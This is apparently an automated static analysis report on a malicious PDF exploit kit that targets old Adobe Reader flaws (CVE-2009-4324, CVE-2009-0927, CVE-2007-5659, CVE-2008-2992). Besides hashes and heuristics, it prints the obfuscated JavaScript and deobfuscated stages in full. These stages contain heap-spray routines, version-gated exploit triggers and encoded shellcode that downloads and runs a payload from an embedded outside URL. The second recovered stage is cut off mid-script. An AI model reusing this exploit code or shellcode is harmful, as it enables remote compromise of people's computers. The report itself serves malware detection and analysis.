Malicious PDF — malware analysis report

Static analysis result for SHA-256 4befe2a13a1c0727…

MALICIOUS

PDF

12.4 KB First seen: 2026-05-09
MD5: ab388154377aba49d4f5483b0146ece4 SHA-1: 25456f1227461ec90fcb204ed74246f52734f48a SHA-256: 4befe2a13a1c07271a12277d899bc89ad69bf55a6e63fca6fe7e2bea7fe3fc90
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file exploits several known Adobe Reader vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) via embedded JavaScript. The deobfuscated JavaScript contains shellcode that downloads and executes a payload from the URL http://universalhealthcare.ca/w.php?f=16&e=5. The exploit kit and embedded URL strongly indicate a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://universalhealthcare.ca/w.php?f=16&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x383 11563 bytes
SHA-256: 811b0f0cdb285a0e09de919c02c1d8ec5fbb061fbb38e53095c1841f14edd4b5
Preview script
First 1,000 lines of the extracted script
w='';
w+='sl';
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z
=
new
Array(65,41,74,47,27,54,15,9,1,17,59,50,5,10,34,34,59,50,37,46,51,38,59,50,5,52,37,46,59,50,24,52,51,38,59,50,51,14,10,38,59,50,10,10,52,37,59,50,34,38,46,75,59,50,38,75,5,27,59,50,5,27,10,75,59,50,75,46,38,75,59,50,24,75,5,27,59,50,52,34,0,46,59,50,24,34,5,27,59,50,10,10,75,5,59,50,34,34,73,27,59,50,52,51,5,27,59,50,75,10,10,46,59,50,10,10,24,38,59,50,5,0,39,46,59,50,0,52,51,51,59,50,37,37,0,75,59,50,27,5,37,37,59,50,38,75,5,27,59,50,46,10,10,75,59,50,10,14,38,34,59,50,24,52,75,34,59,50,5,24,37,27,59,50,39,38,10,38,59,50,51,38,5,52,59,50,52,0,24,52,59,50,51,27,51,14,59,50,52,0,38,46,59,50,5,27,52,34,59,50,10,46,24,52,59,50,24,38,5,27,59,50,24,5,10,52,59,50,37,52,75,10,59,50,5,27,52,34,59,50,39,75,24,34,59,50,37,52,75,10,59,50,46,14,10,10,59,50,38,0,38,14,59,50,41,73,37,46,59,50,46,52,75,10,59,50,73,27,10,10,59,50,27,51,75,37,59,50,10,5,0,75,59,50,24,38,37,39,59,50,46,0,75,5,59,50,75,73,46,27,59,50,73,41,75,10,59,50,51,27,38,75,59,50,10,27,37,0,59,50,24,52,0,37,59,50,52,51,51,34,59,50,52,51,5,27,59,50,75,10,39,38,59,50,34,34,73,73,59,50,75,46,5,27,59,50,5,73,38,27,59,50,51,46,38,34,59,50,52,38,37,37,59,50,75,46,39,38,59,50,73,5,5,27,59,50,73,73,75,10,59,50,75,38,5,27,59,50,75,10,5,27,59,50,41,27,46,52,59,50,52,14,52,51,59,50,51,27,46,10,59,50,41,73,52,10,59,50,34,5,5,27,59,50,5,75,39,75,59,50,75,46,24,73,59,50,24,38,10,10,59,50,14,34,75,10,59,50,37,10,51,27,59,50,34,5,5,27,59,50,5,27,75,5,59,50,34,41,37,24,59,50,52,14,75,52,59,50,14,5,51,5,59,50,37,37,37,37,59,50,51,39,37,37,59,50,51,5,37,14,59,50,75,75,75,75,59,50,75,75,75,75,59,50,52,75,52,5,59,50,38,75,34,41,59,50,37,37,34,5,59,50,75,75,75,75,59,50,52,75,75,75,59,50,46,75,5,10,59,50,52,75,0,14,59,50,5,27,52,52,59,50,5,27,51,46,59,50,0,75,52,51,59,50,46,10,5,10,59,50,37,37,75,52,59,50,34,5,51,10,59,50,34,51,34,37,59,50,75,75,75,75,59,50,24,52,34,5,59,50,34,46,24,39,59,50,52,38,34,73,59,50,0,34,37,37,59,50,46,38,5,10,59,50,5,27,75,5,59,50,51,5,51,5,59,50,37,37,34,0,59,50,37,37,37,37,59,50,75,39,51,27,59,50,24,39,51,27,59,50,51,46,5,0,59,50,75,0,75,38,59,50,75,75,75,75,59,50,52,46,5,73,59,50,75,46,39,38,59,50,75,38,46,24,59,50,24,39,39,38,59,50,34,24,34,52,59,50,46,24,24,10,59,50,39,38,38,38,59,50,24,34,75,38,59,50,10,10,24,39,59,50,46,24,10,39,59,50,39,38,38,38,59,50,39,75,75,5,59,50,24,10,39,73,59,50,52,10,39,75,59,50,37,5,34,5,59,50,75,75,75,75,59,50,37,37,75,75,59,50,75,46,52,34,59,50,51,5,5,27,59,50,46,14,10,10,59,50,46,24,52,0,59,50,0,73,38,38,59,50,24,24,75,75,59,50,34,39,24,75,59,50,46,24,24,38,59,50,0,73,38,38,59,50,39,51,75,52,59,50,34,46,34,38,59,50,46,34,34,46,59,50,0,73,38,38,59,50,75,75,75,14,59,50,5,41,52,14,59,50,75,38,46,0,59,50,5,5,10,75,59,50,0,73,38,38,59,50,38,0,75,38,59,50,34,41,52,0,59,50,34,41,75,75,59,50,52,10,75,75,59,50,34,41,52,24,59,50,37,37,75,75,59,50,0,38,52,34,59,50,46,75,5,52,59,50,0,34,24,52,59,50,75,75,34,41,59,50,37,37,52,10,59,50,75,38,52,34,59,50,75,75,34,41,59,50,51,27,5,10,59,50,52,10,75,46,59,50,52,34,37,37,59,50,5,10,75,38,59,50,75,46,46,10,59,50,75,39,51,27,59,50,0,10,51,27,59,50,5,75,38,24,59,50,75,75,10,37,59,50,37,41,24,52,59,50,5,75,38,24,59,50,75,75,10,37,59,50,46,38,24,52,59,50,75,75,34,41,59,50,37,51,34,41,59,50,52,34,37,37,59,50,51,5,75,5,59,50,37,51,14,46,59,50,37,37,37,37,59,50,38,51,5,51,59,50,51,46,75,51,59,50,37,51,14,5,59,50,75,51,5,41,59,50,34,37,5,14,59,50,27,73,75,0,59,50,46,41,10,10,59,50,52,27,5,41,59,50,46,34,0,27,59,50,24,14,38,34,59,50,0,41,10,34,59,50,24,75,39,37,59,50,24,38,34,5,59,50,24,75,24,38,59,50,39,37,10,41,59,50,24,52,39,37,59,50,34,14,34,51,59,50,34,52,24,34,59,50,24,10,24,39,59,50,34,46,34,0,59,50,34,52,34,5,59,50,34,46,34,0,59,50,34,5,24,38,59,50,34,0,34,10,59,50,34,52,24,39,59,50,34,10,39,51,59,50,39,37,34,0,59,50,39,51,24,24,59,50,34,5,24,75,59,50,10,37,24,75,59,50,10,73,34,34,59,50,10,34,10,0,59,50,34,52,39,34,59,50,10,52,10,73,59,50,75,75,75,75,17,62,37,50,21,46,68,16,69,21,47,51,12,65,74,18,74,41,13,45,48,58,55,63,11,16,70,51,18,74,41,53,70,51,21,9,68,11,71,39,20,45,48,58,55,74,41,35,1,74,41,62,22,74,41,1,74,41,53,15,50,27,15,68,74,16,21,9,18,75,13,45,48,44,39,58,62,74,51,68,50,74,21,47,74,41,62,22,47,37,50,21,46,68,16,69,21,47,27,56,18,58,55,65,41,74,47,73,30,9,1,21,51,63,47,72,74,74,41,48,18,58,62,65,41,74,47,65,63,1,75,56,75,46,75,46,75,46,75,46,62,65,41,74,47,41,73,73,74,1,75,56,38,75,75,75,75,75,62,65,41,74,47,57,41,48,70,69,41,73,1,50,21,51,15,46,41,57,51,18,27,54,15,9,58,62,65,41,74,47,15,46,43,70,51,21,1,57,41,48,70,69,41,73,53,70,51,21,9,68,11,71,39,62,65,41,74,47,45,48,1,41,73,73,74,7,18,15,46,43,70,51,21,35,75,56,10,5,58,62,65,41,74,47,48,41,74,15,57,1,50,21,51,15,46,41,57,51,18,32,59,50,14,75,14,75,59,50,14,75,14,75,32,58,62,48,41,74,15,57,1,51,12,65,74,18,48,41,74,15,57,13,45,48,58,62,65,41,74,47,46,69,50,21,68,39,1,18,65,63,7,75,56,38,75,75,75,75,75,58,44,41,73,73,74,62,37,69,74,18,65,41,74,47,46,69,50,21,68,1,75,62,46,69,50,21,68,20,46,69,50,21,68,39,62,46,69,50,21,68,35,35,58,55,73,30,9,2,46,69,50,21,68,29,1,48,41,74,15,57,35,57,41,48,70,69,41,73,62,22,47,65,41,74,47,69,65,51,74,37,70,69,63,1,50,21,51,15,46,41,57,51,18,32,59,50,75,46,75,46,59,50,75,46,75,46,32,58,62,63,11,16,70,51,18,69,65,51,74,37,70,69,63,53,70,51,21,9,68,11,20,38,38,14,52,39,58,55,69,65,51,74,37,70,69,63,35,1,69,65,51,74,37,70,69,63,62,22,47,68,11,16,15,53,46,69,70,70,41,27,42,68,69,74,51,1,23,69,70,70,41,27,53,46,69,70,70,51,46,68,25,26,41,16,70,8,21,37,69,18,55,15,50,27,54,60,32,32,13,26,15,9,60,69,65,51,74,37,70,69,63,22,58,62,22,47,37,50,21,46,68,16,69,21,47,57,74,16,21,68,37,18,58,55,21,69,57,1,50,21,51,15,46,41,57,51,18,32,59,50,75,72,75,72,59,50,75,72,75,72,59,50,75,72,75,72,59,50,75,72,75,72,32,58,62,65,41,74,47,57,41,48,70,69,41,73,1,50,21,51,15,46,41,57,51,18,27,54,15,9,58,62,11,51,41,57,27,70,69,46,30,1,21,69,57,35,57,41,48,70,69,41,73,62,27,16,9,27,70,69,46,30,1,50,21,51,15,46,41,57,51,18,32,59,50,75,72,75,72,59,50,75,72,75,72,32,58,62,11,51,41,73,51,74,15,16,12,51,1,39,75,62,15,57,74,41,48,1,11,51,41,73,51,74,15,16,12,51,35,11,51,41,57,27,70,69,46,30,53,70,51,21,9,68,11,62,63,11,16,70,51,18,27,16,9,27,70,69,46,30,53,70,51,21,9,68,11,20,15,57,74,41,48,58,55,27,16,9,27,70,69,46,30,35,1,27,16,9,27,70,69,46,30,62,22,47,37,16,70,70,27,70,69,46,30,1,27,16,9,27,70,69,46,30,53,15,50,27,15,68,74,16,21,9,18,75,13,15,57,74,41,48,58,62,27,70,69,46,30,1,27,16,9,27,70,69,46,30,53,15,50,27,15,68,74,16,21,9,18,75,13,27,16,9,27,70,69,46,30,53,70,51,21,9,68,11,7,15,57,74,41,48,58,62,63,11,16,70,51,18,27,70,69,46,30,53,70,51,21,9,68,11,35,15,57,74,41,48,20,75,56,38,75,75,75,75,58,55,27,70,69,46,30,1,27,70,69,46,30,35,27,70,69,46,30,35,37,16,70,70,27,70,69,46,30,62,22,47,26,51,26,1,21,51,63,47,72,74,74,41,48,18,58,62,37,69,74,18,16,1,75,62,16,20,0,38,75,75,62,16,35,35,58,55,26,51,26,2,16,29,1,27,70,69,46,30,35,11,51,41,57,27,70,69,46,30,62,22,47,65,41,74,47,21,50,26,1,0,39,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,62,50,68,16,70,53,57,74,16,21,68,37,18,32,59,38,52,75,75,75,37,32,13,21,50,26,58,62,22,47,37,50,21,46,68,16,69,21,47,9,51,68,16,46,69,21,18,58,55,65,41,74,47,41,74,74,48,1,21,51,63,47,72,74,74,41,48,18,58,62,16,37,18,41,57,57,53,73,69,46,53,23,69,70,70,41,27,53,9,51,68,8,46,69,21,58,55,65,41,74,47,57,41,48,70,69,41,73,1,50,21,51,15,46,41,57,51,18,27,54,15,9,58,62,65,41,74,47,11,31,45,52,75,75,23,6,1,57,41,48,70,69,41,73,53,70,51,21,9,68,11,71,39,62,65,41,74,47,45,48,1,75,56,38,75,75,75,75,75,7,18,11,31,45,52,75,75,23,6,35,75,56,10,5,58,62,65,41,74,47,48,41,74,15,57,1,50,21,51,15,46,41,57,51,18,32,59,50,14,75,14,75,59,50,14,75,14,75,32,58,62,48,41,74,15,57,1,51,12,65,74,18,48,41,74,15,57,13,45,48,58,62,65,41,74,47,57,52,72,54,19,34,52,37,1,18,75,56,75,46,75,46,75,46,75,46,7,75,56,38,75,75,75,75,75,58,44,75,56,38,75,75,75,75,75,62,37,69,74,18,65,41,74,47,65,45,46,66,67,14,34,48,1,75,62,65,45,46,66,67,14,34,48,20,57,52,72,54,19,34,52,37,62,65,45,46,66,67,14,34,48,35,35,58,55,41,74,74,48,2,65,45,46,66,67,14,34,48,29,1,48,41,74,15,57,35,57,41,48,70,69,41,73,62,22,47,65,41,74,47,68,28,61,11,6,27,64,63,1,50,21,51,15,46,41,57,51,18,32,59,75,14,32,58,62,63,11,16,70,51,18,68,28,61,11,6,27,64,63,53,70,51,21,9,68,11,20,75,56,38,75,75,75,58,55,68,28,61,11,6,27,64,63,35,1,68,28,61,11,6,27,64,63,62,22,47,68,28,61,11,6,27,64,63,1,32,6,53,32,35,68,28,61,11,6,27,64,63,62,41,57,57,53,73,69,46,53,23,69,70,70,41,27,53,9,51,68,8,46,69,21,18,68,28,61,11,6,27,64,63,58,62,22,22,47,41,40,70,50,9,16,21,15,1,41,57,57,53,57,70,50,9,8,21,15,62,65,41,74,47,15,65,1,57,41,74,15,51,8,21,68,18,41,57,57,53,65,16,51,63,51,74,49,51,74,15,16,69,21,53,68,69,42,68,74,16,21,9,18,58,53,46,11,41,74,72,68,18,75,58,58,62,37,69,74,18,65,41,74,47,16,1,75,62,16,20,41,40,70,50,9,16,21,15,53,70,51,21,9,68,11,62,16,35,35,58,55,16,37,18,41,40,70,50,9,16,21,15,2,16,29,53,21,41,26,51,1,1,17,25,42,46,74,16,57,68,17,58,55,65,41,74,47,70,65,1,41,40,70,50,9,16,21,15,2,16,29,53,65,51,74,15,16,69,21,62,22,22,47,16,37,18,18,70,65,1,1,14,58,33,33,18,18,15,65,1,1,5,58,4,4,18,70,65,20,1,5,53,0,39,58,58,58,55,9,51,68,16,46,69,21,18,58,62,22,51,70,15,51,47,16,37,18,70,65,1,1,24,53,0,58,55,57,74,16,21,68,37,18,58,62,22,51,70,15,51,47,16,37,18,18,18,15,65,1,1,34,58,33,33,18,15,65,1,1,24,58,58,4,4,18,70,65,20,24,53,0,0,58,58,55,27,56,18,58,62,22,51,70,15,51,47,16,37,18,18,70,65,3,1,14,53,0,58,33,33,18,70,65,20,1,14,53,39,58,33,33,18,70,65,3,1,5,53,0,10,58,33,33,18,70,65,20,1,5,53,0,24,58,58,55,37,50,21,46,68,16,69,21,47,41,18,58,55,50,68,16,70,53,57,74,16,21,68,73,18,17,57,36,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,47,60,47,48,48,48,48,0,0,0,17,13,21,51,63,47,67,41,68,51,18,58,58,62,22,65,41,74,47,11,1,41,57,57,53,57,70,50,9,8,21,15,62,37,69,74,18,65,41,74,47,37,1,75,62,37,20,11,53,70,51,21,9,68,11,62,37,35,35,58,55,16,37,18,11,2,37,29,53,21,41,26,51,1,1,17,25,42,46,74,16,57,68,17,58,55,65,41,74,47,16,1,11,2,37,29,53,65,51,74,15,16,69,21,62,22,22,47,16,37,18,18,16,3,5,53,0,39,58,4,4,18,16,20,5,53,39,58,58,55,46,1,21,51,63,47,72,74,74,41,48,18,58,62,65,41,74,47,73,1,50,21,51,15,46,41,57,51,18,17,59,50,14,75,14,75,59,50,14,75,14,75,17,58,62,65,41,74,47,51,1,50,21,51,15,46,41,57,51,18,27,54,15,9,58,62,63,11,16,70,51,18,73,53,70,51,21,9,68,11,20,1,75,56,5,75,75,75,58,55,73,35,1,73,62,22,73,1,73,53,15,50,27,15,68,74,18,75,13,75,56,5,75,75,75,7,51,53,70,51,21,9,68,11,58,62,37,69,74,18,37,1,75,62,37,20,39,14,75,75,62,37,35,35,58,55,46,2,37,29,1,73,35,51,62,22,41,18,58,62,41,18,58,62,68,74,48,55,68,11,16,15,53,26,51,73,16,41,53,21,51,63,40,70,41,48,51,74,18,21,50,70,70,58,62,22,46,41,68,46,11,18,51,58,55,22,41,18,58,62,22,22);
a="1=[>&8N-Ig3hz,9si'(K<n}C7EmbU]kW'|6+@f42PaS_/qc yVue5.j{xp)%:M;wGvQDtol*Adr0";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[
z[i]];
}
}}

"))";try{if(!google)throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x383 3876 bytes
SHA-256: a6d47e400078d612e0c74048ec268a4505a8c379c38b6acb6ac1e00abb73e1c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u752f%u696e%u6576%u7372%u6c61%u6568%u6c61%u6874%u6163%u6572%u632e%u2f61%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x383 3872 bytes
SHA-256: 15eb87021046f7c7df5015104f6d39a9e4dfc18f88fafe3f662111791db9f35a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u752f%u696e%u6576%u7372%u6c61%u6568%u6c61%u6874%u6163%u6572%u632e%u2f61%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var 